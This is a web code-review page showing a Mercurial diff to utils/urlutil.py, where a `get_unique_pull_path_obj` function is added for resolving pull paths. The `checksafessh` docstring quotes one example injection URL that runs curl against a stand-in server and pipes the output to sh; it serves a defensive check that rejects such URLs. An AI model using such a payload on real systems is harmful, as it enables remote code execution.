##// END OF EJS Templates
path: introduce a `get_unique_pull_path_obj` function...
marmoute -
r50617:f4626b74 default
parent child Browse files
Show More
@@ -1,971 +1,983 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27
28 28 if pycompat.TYPE_CHECKING:
29 29 from typing import (
30 30 Union,
31 31 )
32 32
33 33 urlreq = urllibcompat.urlreq
34 34
35 35
36 36 def getport(port):
37 37 # type: (Union[bytes, int]) -> int
38 38 """Return the port for a given network service.
39 39
40 40 If port is an integer, it's returned as is. If it's a string, it's
41 41 looked up using socket.getservbyname(). If there's no matching
42 42 service, error.Abort is raised.
43 43 """
44 44 try:
45 45 return int(port)
46 46 except ValueError:
47 47 pass
48 48
49 49 try:
50 50 return socket.getservbyname(pycompat.sysstr(port))
51 51 except socket.error:
52 52 raise error.Abort(
53 53 _(b"no port number associated with service '%s'") % port
54 54 )
55 55
56 56
57 57 class url:
58 58 r"""Reliable URL parser.
59 59
60 60 This parses URLs and provides attributes for the following
61 61 components:
62 62
63 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 64
65 65 Missing components are set to None. The only exception is
66 66 fragment, which is set to '' if present but empty.
67 67
68 68 If parsefragment is False, fragment is included in query. If
69 69 parsequery is False, query is included in path. If both are
70 70 False, both fragment and query are included in path.
71 71
72 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 73
74 74 Note that for backward compatibility reasons, bundle URLs do not
75 75 take host names. That means 'bundle://../' has a path of '../'.
76 76
77 77 Examples:
78 78
79 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 83 >>> url(b'file:///home/joe/repo')
84 84 <url scheme: 'file', path: '/home/joe/repo'>
85 85 >>> url(b'file:///c:/temp/foo/')
86 86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 87 >>> url(b'bundle:foo')
88 88 <url scheme: 'bundle', path: 'foo'>
89 89 >>> url(b'bundle://../foo')
90 90 <url scheme: 'bundle', path: '../foo'>
91 91 >>> url(br'c:\foo\bar')
92 92 <url path: 'c:\\foo\\bar'>
93 93 >>> url(br'\\blah\blah\blah')
94 94 <url path: '\\\\blah\\blah\\blah'>
95 95 >>> url(br'\\blah\blah\blah#baz')
96 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 97 >>> url(br'file:///C:\users\me')
98 98 <url scheme: 'file', path: 'C:\\users\\me'>
99 99
100 100 Authentication credentials:
101 101
102 102 >>> url(b'ssh://joe:xyz@x/repo')
103 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 104 >>> url(b'ssh://joe@x/repo')
105 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 106
107 107 Query strings and fragments:
108 108
109 109 >>> url(b'http://host/a?b#c')
110 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 113
114 114 Empty path:
115 115
116 116 >>> url(b'')
117 117 <url path: ''>
118 118 >>> url(b'#a')
119 119 <url path: '', fragment: 'a'>
120 120 >>> url(b'http://host/')
121 121 <url scheme: 'http', host: 'host', path: ''>
122 122 >>> url(b'http://host/#a')
123 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 124
125 125 Only scheme:
126 126
127 127 >>> url(b'http:')
128 128 <url scheme: 'http'>
129 129 """
130 130
131 131 _safechars = b"!~*'()+"
132 132 _safepchars = b"/!~*'()+:\\"
133 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 134
135 135 def __init__(self, path, parsequery=True, parsefragment=True):
136 136 # type: (bytes, bool, bool) -> None
137 137 # We slowly chomp away at path until we have only the path left
138 138 self.scheme = self.user = self.passwd = self.host = None
139 139 self.port = self.path = self.query = self.fragment = None
140 140 self._localpath = True
141 141 self._hostport = b''
142 142 self._origpath = path
143 143
144 144 if parsefragment and b'#' in path:
145 145 path, self.fragment = path.split(b'#', 1)
146 146
147 147 # special case for Windows drive letters and UNC paths
148 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 149 self.path = path
150 150 return
151 151
152 152 # For compatibility reasons, we can't handle bundle paths as
153 153 # normal URLS
154 154 if path.startswith(b'bundle:'):
155 155 self.scheme = b'bundle'
156 156 path = path[7:]
157 157 if path.startswith(b'//'):
158 158 path = path[2:]
159 159 self.path = path
160 160 return
161 161
162 162 if self._matchscheme(path):
163 163 parts = path.split(b':', 1)
164 164 if parts[0]:
165 165 self.scheme, path = parts
166 166 self._localpath = False
167 167
168 168 if not path:
169 169 path = None
170 170 if self._localpath:
171 171 self.path = b''
172 172 return
173 173 else:
174 174 if self._localpath:
175 175 self.path = path
176 176 return
177 177
178 178 if parsequery and b'?' in path:
179 179 path, self.query = path.split(b'?', 1)
180 180 if not path:
181 181 path = None
182 182 if not self.query:
183 183 self.query = None
184 184
185 185 # // is required to specify a host/authority
186 186 if path and path.startswith(b'//'):
187 187 parts = path[2:].split(b'/', 1)
188 188 if len(parts) > 1:
189 189 self.host, path = parts
190 190 else:
191 191 self.host = parts[0]
192 192 path = None
193 193 if not self.host:
194 194 self.host = None
195 195 # path of file:///d is /d
196 196 # path of file:///d:/ is d:/, not /d:/
197 197 if path and not hasdriveletter(path):
198 198 path = b'/' + path
199 199
200 200 if self.host and b'@' in self.host:
201 201 self.user, self.host = self.host.rsplit(b'@', 1)
202 202 if b':' in self.user:
203 203 self.user, self.passwd = self.user.split(b':', 1)
204 204 if not self.host:
205 205 self.host = None
206 206
207 207 # Don't split on colons in IPv6 addresses without ports
208 208 if (
209 209 self.host
210 210 and b':' in self.host
211 211 and not (
212 212 self.host.startswith(b'[') and self.host.endswith(b']')
213 213 )
214 214 ):
215 215 self._hostport = self.host
216 216 self.host, self.port = self.host.rsplit(b':', 1)
217 217 if not self.host:
218 218 self.host = None
219 219
220 220 if (
221 221 self.host
222 222 and self.scheme == b'file'
223 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 224 ):
225 225 raise error.Abort(
226 226 _(b'file:// URLs can only refer to localhost')
227 227 )
228 228
229 229 self.path = path
230 230
231 231 # leave the query string escaped
232 232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 233 v = getattr(self, a)
234 234 if v is not None:
235 235 setattr(self, a, urlreq.unquote(v))
236 236
237 237 def copy(self):
238 238 u = url(b'temporary useless value')
239 239 u.path = self.path
240 240 u.scheme = self.scheme
241 241 u.user = self.user
242 242 u.passwd = self.passwd
243 243 u.host = self.host
244 244 u.path = self.path
245 245 u.query = self.query
246 246 u.fragment = self.fragment
247 247 u._localpath = self._localpath
248 248 u._hostport = self._hostport
249 249 u._origpath = self._origpath
250 250 return u
251 251
252 252 @encoding.strmethod
253 253 def __repr__(self):
254 254 attrs = []
255 255 for a in (
256 256 b'scheme',
257 257 b'user',
258 258 b'passwd',
259 259 b'host',
260 260 b'port',
261 261 b'path',
262 262 b'query',
263 263 b'fragment',
264 264 ):
265 265 v = getattr(self, a)
266 266 if v is not None:
267 267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 268 return b'<url %s>' % b', '.join(attrs)
269 269
270 270 def __bytes__(self):
271 271 r"""Join the URL's components back into a URL string.
272 272
273 273 Examples:
274 274
275 275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 278 'http://user:pw@host:80/?foo=bar&baz=42'
279 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 282 'ssh://user:pw@[::1]:2200//home/joe#'
283 283 >>> bytes(url(b'http://localhost:80//'))
284 284 'http://localhost:80//'
285 285 >>> bytes(url(b'http://localhost:80/'))
286 286 'http://localhost:80/'
287 287 >>> bytes(url(b'http://localhost:80'))
288 288 'http://localhost:80/'
289 289 >>> bytes(url(b'bundle:foo'))
290 290 'bundle:foo'
291 291 >>> bytes(url(b'bundle://../foo'))
292 292 'bundle:../foo'
293 293 >>> bytes(url(b'path'))
294 294 'path'
295 295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 296 'file:///tmp/foo/bar'
297 297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 298 'file:///c:/tmp/foo/bar'
299 299 >>> print(url(br'bundle:foo\bar'))
300 300 bundle:foo\bar
301 301 >>> print(url(br'file:///D:\data\hg'))
302 302 file:///D:\data\hg
303 303 """
304 304 if self._localpath:
305 305 s = self.path
306 306 if self.scheme == b'bundle':
307 307 s = b'bundle:' + s
308 308 if self.fragment:
309 309 s += b'#' + self.fragment
310 310 return s
311 311
312 312 s = self.scheme + b':'
313 313 if self.user or self.passwd or self.host:
314 314 s += b'//'
315 315 elif self.scheme and (
316 316 not self.path
317 317 or self.path.startswith(b'/')
318 318 or hasdriveletter(self.path)
319 319 ):
320 320 s += b'//'
321 321 if hasdriveletter(self.path):
322 322 s += b'/'
323 323 if self.user:
324 324 s += urlreq.quote(self.user, safe=self._safechars)
325 325 if self.passwd:
326 326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 327 if self.user or self.passwd:
328 328 s += b'@'
329 329 if self.host:
330 330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 331 s += urlreq.quote(self.host)
332 332 else:
333 333 s += self.host
334 334 if self.port:
335 335 s += b':' + urlreq.quote(self.port)
336 336 if self.host:
337 337 s += b'/'
338 338 if self.path:
339 339 # TODO: similar to the query string, we should not unescape the
340 340 # path when we store it, the path might contain '%2f' = '/',
341 341 # which we should *not* escape.
342 342 s += urlreq.quote(self.path, safe=self._safepchars)
343 343 if self.query:
344 344 # we store the query in escaped form.
345 345 s += b'?' + self.query
346 346 if self.fragment is not None:
347 347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 348 return s
349 349
350 350 __str__ = encoding.strmethod(__bytes__)
351 351
352 352 def authinfo(self):
353 353 user, passwd = self.user, self.passwd
354 354 try:
355 355 self.user, self.passwd = None, None
356 356 s = bytes(self)
357 357 finally:
358 358 self.user, self.passwd = user, passwd
359 359 if not self.user:
360 360 return (s, None)
361 361 # authinfo[1] is passed to urllib2 password manager, and its
362 362 # URIs must not contain credentials. The host is passed in the
363 363 # URIs list because Python < 2.4.3 uses only that to search for
364 364 # a password.
365 365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366 366
367 367 def isabs(self):
368 368 if self.scheme and self.scheme != b'file':
369 369 return True # remote URL
370 370 if hasdriveletter(self.path):
371 371 return True # absolute for our purposes - can't be joined()
372 372 if self.path.startswith(br'\\'):
373 373 return True # Windows UNC path
374 374 if self.path.startswith(b'/'):
375 375 return True # POSIX-style
376 376 return False
377 377
378 378 def localpath(self):
379 379 # type: () -> bytes
380 380 if self.scheme == b'file' or self.scheme == b'bundle':
381 381 path = self.path or b'/'
382 382 # For Windows, we need to promote hosts containing drive
383 383 # letters to paths with drive letters.
384 384 if hasdriveletter(self._hostport):
385 385 path = self._hostport + b'/' + self.path
386 386 elif (
387 387 self.host is not None and self.path and not hasdriveletter(path)
388 388 ):
389 389 path = b'/' + path
390 390 return path
391 391 return self._origpath
392 392
393 393 def islocal(self):
394 394 '''whether localpath will return something that posixfile can open'''
395 395 return (
396 396 not self.scheme
397 397 or self.scheme == b'file'
398 398 or self.scheme == b'bundle'
399 399 )
400 400
401 401
402 402 def hasscheme(path):
403 403 # type: (bytes) -> bool
404 404 return bool(url(path).scheme) # cast to help pytype
405 405
406 406
407 407 def hasdriveletter(path):
408 408 # type: (bytes) -> bool
409 409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410 410
411 411
412 412 def urllocalpath(path):
413 413 # type: (bytes) -> bytes
414 414 return url(path, parsequery=False, parsefragment=False).localpath()
415 415
416 416
417 417 def checksafessh(path):
418 418 # type: (bytes) -> None
419 419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420 420
421 421 This is a sanity check for ssh urls. ssh will parse the first item as
422 422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 423 Let's prevent these potentially exploited urls entirely and warn the
424 424 user.
425 425
426 426 Raises an error.Abort when the url is unsafe.
427 427 """
428 428 path = urlreq.unquote(path)
429 429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 430 raise error.Abort(
431 431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 432 )
433 433
434 434
435 435 def hidepassword(u):
436 436 # type: (bytes) -> bytes
437 437 '''hide user credential in a url string'''
438 438 u = url(u)
439 439 if u.passwd:
440 440 u.passwd = b'***'
441 441 return bytes(u)
442 442
443 443
444 444 def removeauth(u):
445 445 # type: (bytes) -> bytes
446 446 '''remove all authentication information from a url string'''
447 447 u = url(u)
448 448 u.user = u.passwd = None
449 449 return bytes(u)
450 450
451 451
452 452 def list_paths(ui, target_path=None):
453 453 """list all the (name, paths) in the passed ui"""
454 454 result = []
455 455 if target_path is None:
456 456 for name, paths in sorted(ui.paths.items()):
457 457 for p in paths:
458 458 result.append((name, p))
459 459
460 460 else:
461 461 for path in ui.paths.get(target_path, []):
462 462 result.append((target_path, path))
463 463 return result
464 464
465 465
466 466 def try_path(ui, url):
467 467 """try to build a path from a url
468 468
469 469 Return None if no Path could built.
470 470 """
471 471 try:
472 472 # we pass the ui instance are warning might need to be issued
473 473 return path(ui, None, rawloc=url)
474 474 except ValueError:
475 475 return None
476 476
477 477
478 478 def get_push_paths(repo, ui, dests):
479 479 """yields all the `path` selected as push destination by `dests`"""
480 480 if not dests:
481 481 if b'default-push' in ui.paths:
482 482 for p in ui.paths[b'default-push']:
483 483 yield p.get_push_variant()
484 484 elif b'default' in ui.paths:
485 485 for p in ui.paths[b'default']:
486 486 yield p.get_push_variant()
487 487 else:
488 488 raise error.ConfigError(
489 489 _(b'default repository not configured!'),
490 490 hint=_(b"see 'hg help config.paths'"),
491 491 )
492 492 else:
493 493 for dest in dests:
494 494 if dest in ui.paths:
495 495 for p in ui.paths[dest]:
496 496 yield p.get_push_variant()
497 497 else:
498 498 path = try_path(ui, dest)
499 499 if path is None:
500 500 msg = _(b'repository %s does not exist')
501 501 msg %= dest
502 502 raise error.RepoError(msg)
503 503 yield path.get_push_variant()
504 504
505 505
506 506 def get_pull_paths(repo, ui, sources):
507 507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 508 if not sources:
509 509 sources = [b'default']
510 510 for source in sources:
511 511 if source in ui.paths:
512 512 for p in ui.paths[source]:
513 513 yield p
514 514 else:
515 515 p = path(ui, None, source, validate_path=False)
516 516 yield p
517 517
518 518
519 519 def get_unique_push_path(action, repo, ui, dest=None):
520 520 """return a unique `path` or abort if multiple are found
521 521
522 522 This is useful for command and action that does not support multiple
523 523 destination (yet).
524 524
525 525 The `action` parameter will be used for the error message.
526 526 """
527 527 if dest is None:
528 528 dests = []
529 529 else:
530 530 dests = [dest]
531 531 dests = list(get_push_paths(repo, ui, dests))
532 532 if len(dests) != 1:
533 533 if dest is None:
534 534 msg = _(
535 535 b"default path points to %d urls while %s only supports one"
536 536 )
537 537 msg %= (len(dests), action)
538 538 else:
539 539 msg = _(b"path points to %d urls while %s only supports one: %s")
540 540 msg %= (len(dests), action, dest)
541 541 raise error.Abort(msg)
542 542 return dests[0]
543 543
544 544
545 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
546 """return a unique `(url, branch)` or abort if multiple are found
545 def get_unique_pull_path_obj(action, ui, source=None):
546 """return a unique `(path, branch)` or abort if multiple are found
547 547
548 548 This is useful for command and action that does not support multiple
549 549 destination (yet).
550 550
551 551 The `action` parameter will be used for the error message.
552
553 note: Ideally, this function would be called `get_unique_pull_path` to
554 mirror the `get_unique_push_path`, but the name was already taken.
552 555 """
553 556 sources = []
554 557 if source is not None:
555 558 sources.append(source)
556 559
557 pull_paths = list(get_pull_paths(repo, ui, sources=sources))
560 pull_paths = list(get_pull_paths(None, ui, sources=sources))
558 561 path_count = len(pull_paths)
559 562 if path_count != 1:
560 563 if source is None:
561 564 msg = _(
562 565 b"default path points to %d urls while %s only supports one"
563 566 )
564 567 msg %= (path_count, action)
565 568 else:
566 569 msg = _(b"path points to %d urls while %s only supports one: %s")
567 570 msg %= (path_count, action, source)
568 571 raise error.Abort(msg)
569 return parseurl(pull_paths[0].rawloc, default_branches)
572 return pull_paths[0]
573
574
575 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
576 """return a unique `(url, branch)` or abort if multiple are found
577
578 See `get_unique_pull_path_obj` for details.
579 """
580 path = get_unique_pull_path_obj(action, ui, source=source)
581 return parseurl(path.rawloc, default_branches)
570 582
571 583
572 584 def get_clone_path(ui, source, default_branches=()):
573 585 """return the `(origsource, path, branch)` selected as clone source"""
574 586 urls = []
575 587 if source is None:
576 588 if b'default' in ui.paths:
577 589 urls.extend(p.rawloc for p in ui.paths[b'default'])
578 590 else:
579 591 # XXX this is the historical default behavior, but that is not
580 592 # great, consider breaking BC on this.
581 593 urls.append(b'default')
582 594 else:
583 595 if source in ui.paths:
584 596 urls.extend(p.rawloc for p in ui.paths[source])
585 597 else:
586 598 # Try to resolve as a local path or URI.
587 599 path = try_path(ui, source)
588 600 if path is not None:
589 601 urls.append(path.rawloc)
590 602 else:
591 603 urls.append(source)
592 604 if len(urls) != 1:
593 605 if source is None:
594 606 msg = _(
595 607 b"default path points to %d urls while only one is supported"
596 608 )
597 609 msg %= len(urls)
598 610 else:
599 611 msg = _(b"path points to %d urls while only one is supported: %s")
600 612 msg %= (len(urls), source)
601 613 raise error.Abort(msg)
602 614 url = urls[0]
603 615 clone_path, branch = parseurl(url, default_branches)
604 616 return url, clone_path, branch
605 617
606 618
607 619 def parseurl(path, branches=None):
608 620 '''parse url#branch, returning (url, (branch, branches))'''
609 621 u = url(path)
610 622 branch = None
611 623 if u.fragment:
612 624 branch = u.fragment
613 625 u.fragment = None
614 626 return bytes(u), (branch, branches or [])
615 627
616 628
617 629 class paths(dict):
618 630 """Represents a collection of paths and their configs.
619 631
620 632 Data is initially derived from ui instances and the config files they have
621 633 loaded.
622 634 """
623 635
624 636 def __init__(self, ui):
625 637 dict.__init__(self)
626 638
627 639 home_path = os.path.expanduser(b'~')
628 640
629 641 for name, value in ui.configitems(b'paths', ignoresub=True):
630 642 # No location is the same as not existing.
631 643 if not value:
632 644 continue
633 645 _value, sub_opts = ui.configsuboptions(b'paths', name)
634 646 s = ui.configsource(b'paths', name)
635 647 root_key = (name, value, s)
636 648 root = ui._path_to_root.get(root_key, home_path)
637 649
638 650 multi_url = sub_opts.get(b'multi-urls')
639 651 if multi_url is not None and stringutil.parsebool(multi_url):
640 652 base_locs = stringutil.parselist(value)
641 653 else:
642 654 base_locs = [value]
643 655
644 656 paths = []
645 657 for loc in base_locs:
646 658 loc = os.path.expandvars(loc)
647 659 loc = os.path.expanduser(loc)
648 660 if not hasscheme(loc) and not os.path.isabs(loc):
649 661 loc = os.path.normpath(os.path.join(root, loc))
650 662 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
651 663 paths.append(p)
652 664 self[name] = paths
653 665
654 666 for name, old_paths in sorted(self.items()):
655 667 new_paths = []
656 668 for p in old_paths:
657 669 new_paths.extend(_chain_path(p, ui, self))
658 670 self[name] = new_paths
659 671
660 672 def getpath(self, ui, name, default=None):
661 673 """Return a ``path`` from a string, falling back to default.
662 674
663 675 ``name`` can be a named path or locations. Locations are filesystem
664 676 paths or URIs.
665 677
666 678 Returns None if ``name`` is not a registered path, a URI, or a local
667 679 path to a repo.
668 680 """
669 681 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
670 682 ui.deprecwarn(msg, b'6.0')
671 683 # Only fall back to default if no path was requested.
672 684 if name is None:
673 685 if not default:
674 686 default = ()
675 687 elif not isinstance(default, (tuple, list)):
676 688 default = (default,)
677 689 for k in default:
678 690 try:
679 691 return self[k][0]
680 692 except KeyError:
681 693 continue
682 694 return None
683 695
684 696 # Most likely empty string.
685 697 # This may need to raise in the future.
686 698 if not name:
687 699 return None
688 700 if name in self:
689 701 return self[name][0]
690 702 else:
691 703 # Try to resolve as a local path or URI.
692 704 path = try_path(ui, name)
693 705 if path is None:
694 706 raise error.RepoError(_(b'repository %s does not exist') % name)
695 707 return path.rawloc
696 708
697 709
698 710 _pathsuboptions = {}
699 711
700 712
701 713 def pathsuboption(option, attr):
702 714 """Decorator used to declare a path sub-option.
703 715
704 716 Arguments are the sub-option name and the attribute it should set on
705 717 ``path`` instances.
706 718
707 719 The decorated function will receive as arguments a ``ui`` instance,
708 720 ``path`` instance, and the string value of this option from the config.
709 721 The function should return the value that will be set on the ``path``
710 722 instance.
711 723
712 724 This decorator can be used to perform additional verification of
713 725 sub-options and to change the type of sub-options.
714 726 """
715 727
716 728 def register(func):
717 729 _pathsuboptions[option] = (attr, func)
718 730 return func
719 731
720 732 return register
721 733
722 734
723 735 @pathsuboption(b'pushurl', b'_pushloc')
724 736 def pushurlpathoption(ui, path, value):
725 737 u = url(value)
726 738 # Actually require a URL.
727 739 if not u.scheme:
728 740 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
729 741 msg %= (path.name, value)
730 742 ui.warn(msg)
731 743 return None
732 744
733 745 # Don't support the #foo syntax in the push URL to declare branch to
734 746 # push.
735 747 if u.fragment:
736 748 ui.warn(
737 749 _(
738 750 b'("#fragment" in paths.%s:pushurl not supported; '
739 751 b'ignoring)\n'
740 752 )
741 753 % path.name
742 754 )
743 755 u.fragment = None
744 756
745 757 return bytes(u)
746 758
747 759
748 760 @pathsuboption(b'pushrev', b'pushrev')
749 761 def pushrevpathoption(ui, path, value):
750 762 return value
751 763
752 764
753 765 SUPPORTED_BOOKMARKS_MODES = {
754 766 b'default',
755 767 b'mirror',
756 768 b'ignore',
757 769 }
758 770
759 771
760 772 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
761 773 def bookmarks_mode_option(ui, path, value):
762 774 if value not in SUPPORTED_BOOKMARKS_MODES:
763 775 path_name = path.name
764 776 if path_name is None:
765 777 # this is an "anonymous" path, config comes from the global one
766 778 path_name = b'*'
767 779 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
768 780 msg %= (path_name, value)
769 781 ui.warn(msg)
770 782 if value == b'default':
771 783 value = None
772 784 return value
773 785
774 786
775 787 @pathsuboption(b'multi-urls', b'multi_urls')
776 788 def multiurls_pathoption(ui, path, value):
777 789 res = stringutil.parsebool(value)
778 790 if res is None:
779 791 ui.warn(
780 792 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
781 793 )
782 794 res = False
783 795 return res
784 796
785 797
786 798 def _chain_path(base_path, ui, paths):
787 799 """return the result of "path://" logic applied on a given path"""
788 800 new_paths = []
789 801 if base_path.url.scheme != b'path':
790 802 new_paths.append(base_path)
791 803 else:
792 804 assert base_path.url.path is None
793 805 sub_paths = paths.get(base_path.url.host)
794 806 if sub_paths is None:
795 807 m = _(b'cannot use `%s`, "%s" is not a known path')
796 808 m %= (base_path.rawloc, base_path.url.host)
797 809 raise error.Abort(m)
798 810 for subpath in sub_paths:
799 811 path = base_path.copy()
800 812 if subpath.raw_url.scheme == b'path':
801 813 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
802 814 m %= (path.rawloc, path.url.host)
803 815 raise error.Abort(m)
804 816 path.url = subpath.url
805 817 path.rawloc = subpath.rawloc
806 818 path.loc = subpath.loc
807 819 if path.branch is None:
808 820 path.branch = subpath.branch
809 821 else:
810 822 base = path.rawloc.rsplit(b'#', 1)[0]
811 823 path.rawloc = b'%s#%s' % (base, path.branch)
812 824 suboptions = subpath._all_sub_opts.copy()
813 825 suboptions.update(path._own_sub_opts)
814 826 path._apply_suboptions(ui, suboptions)
815 827 new_paths.append(path)
816 828 return new_paths
817 829
818 830
819 831 class path:
820 832 """Represents an individual path and its configuration."""
821 833
822 834 def __init__(
823 835 self,
824 836 ui=None,
825 837 name=None,
826 838 rawloc=None,
827 839 suboptions=None,
828 840 validate_path=True,
829 841 ):
830 842 """Construct a path from its config options.
831 843
832 844 ``ui`` is the ``ui`` instance the path is coming from.
833 845 ``name`` is the symbolic name of the path.
834 846 ``rawloc`` is the raw location, as defined in the config.
835 847 ``_pushloc`` is the raw locations pushes should be made to.
836 848 (see the `get_push_variant` method)
837 849
838 850 If ``name`` is not defined, we require that the location be a) a local
839 851 filesystem path with a .hg directory or b) a URL. If not,
840 852 ``ValueError`` is raised.
841 853 """
842 854 if ui is None:
843 855 # used in copy
844 856 assert name is None
845 857 assert rawloc is None
846 858 assert suboptions is None
847 859 return
848 860
849 861 if not rawloc:
850 862 raise ValueError(b'rawloc must be defined')
851 863
852 864 self.name = name
853 865
854 866 # set by path variant to point to their "non-push" version
855 867 self.main_path = None
856 868 self._setup_url(rawloc)
857 869
858 870 if validate_path:
859 871 self._validate_path()
860 872
861 873 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
862 874 self._own_sub_opts = {}
863 875 if suboptions is not None:
864 876 self._own_sub_opts = suboptions.copy()
865 877 sub_opts.update(suboptions)
866 878 self._all_sub_opts = sub_opts.copy()
867 879
868 880 self._apply_suboptions(ui, sub_opts)
869 881
870 882 def _setup_url(self, rawloc):
871 883 # Locations may define branches via syntax <base>#<branch>.
872 884 u = url(rawloc)
873 885 branch = None
874 886 if u.fragment:
875 887 branch = u.fragment
876 888 u.fragment = None
877 889
878 890 self.url = u
879 891 # the url from the config/command line before dealing with `path://`
880 892 self.raw_url = u.copy()
881 893 self.branch = branch
882 894
883 895 self.rawloc = rawloc
884 896 self.loc = b'%s' % u
885 897
886 898 def copy(self):
887 899 """make a copy of this path object"""
888 900 new = self.__class__()
889 901 for k, v in self.__dict__.items():
890 902 new_copy = getattr(v, 'copy', None)
891 903 if new_copy is not None:
892 904 v = new_copy()
893 905 new.__dict__[k] = v
894 906 return new
895 907
896 908 @property
897 909 def is_push_variant(self):
898 910 """is this a path variant to be used for pushing"""
899 911 return self.main_path is not None
900 912
901 913 def get_push_variant(self):
902 914 """get a "copy" of the path, but suitable for pushing
903 915
904 916 This means using the value of the `pushurl` option (if any) as the url.
905 917
906 918 The original path is available in the `main_path` attribute.
907 919 """
908 920 if self.main_path:
909 921 return self
910 922 new = self.copy()
911 923 new.main_path = self
912 924 if self._pushloc:
913 925 new._setup_url(self._pushloc)
914 926 return new
915 927
916 928 def pushloc(self):
917 929 """compatibility layer for the deprecated attributes"""
918 930 from .. import util # avoid a cycle
919 931
920 932 msg = "don't use path.pushloc, use path.get_push_variant()"
921 933 util.nouideprecwarn(msg, b"6.5")
922 934 return self._pushloc
923 935
924 936 def _validate_path(self):
925 937 # When given a raw location but not a symbolic name, validate the
926 938 # location is valid.
927 939 if (
928 940 not self.name
929 941 and not self.url.scheme
930 942 and not self._isvalidlocalpath(self.loc)
931 943 ):
932 944 raise ValueError(
933 945 b'location is not a URL or path to a local '
934 946 b'repo: %s' % self.rawloc
935 947 )
936 948
937 949 def _apply_suboptions(self, ui, sub_options):
938 950 # Now process the sub-options. If a sub-option is registered, its
939 951 # attribute will always be present. The value will be None if there
940 952 # was no valid sub-option.
941 953 for suboption, (attr, func) in _pathsuboptions.items():
942 954 if suboption not in sub_options:
943 955 setattr(self, attr, None)
944 956 continue
945 957
946 958 value = func(ui, self, sub_options[suboption])
947 959 setattr(self, attr, value)
948 960
949 961 def _isvalidlocalpath(self, path):
950 962 """Returns True if the given path is a potentially valid repository.
951 963 This is its own function so that extensions can change the definition of
952 964 'valid' in this case (like when pulling from a git repo into a hg
953 965 one)."""
954 966 try:
955 967 return os.path.isdir(os.path.join(path, b'.hg'))
956 968 # Python 2 may return TypeError. Python 3, ValueError.
957 969 except (TypeError, ValueError):
958 970 return False
959 971
960 972 @property
961 973 def suboptions(self):
962 974 """Return sub-options and their values for this path.
963 975
964 976 This is intended to be used for presentation purposes.
965 977 """
966 978 d = {}
967 979 for subopt, (attr, _func) in _pathsuboptions.items():
968 980 value = getattr(self, attr)
969 981 if value is not None:
970 982 d[subopt] = value
971 983 return d
General Comments 0
You need to be logged in to leave comments. Login now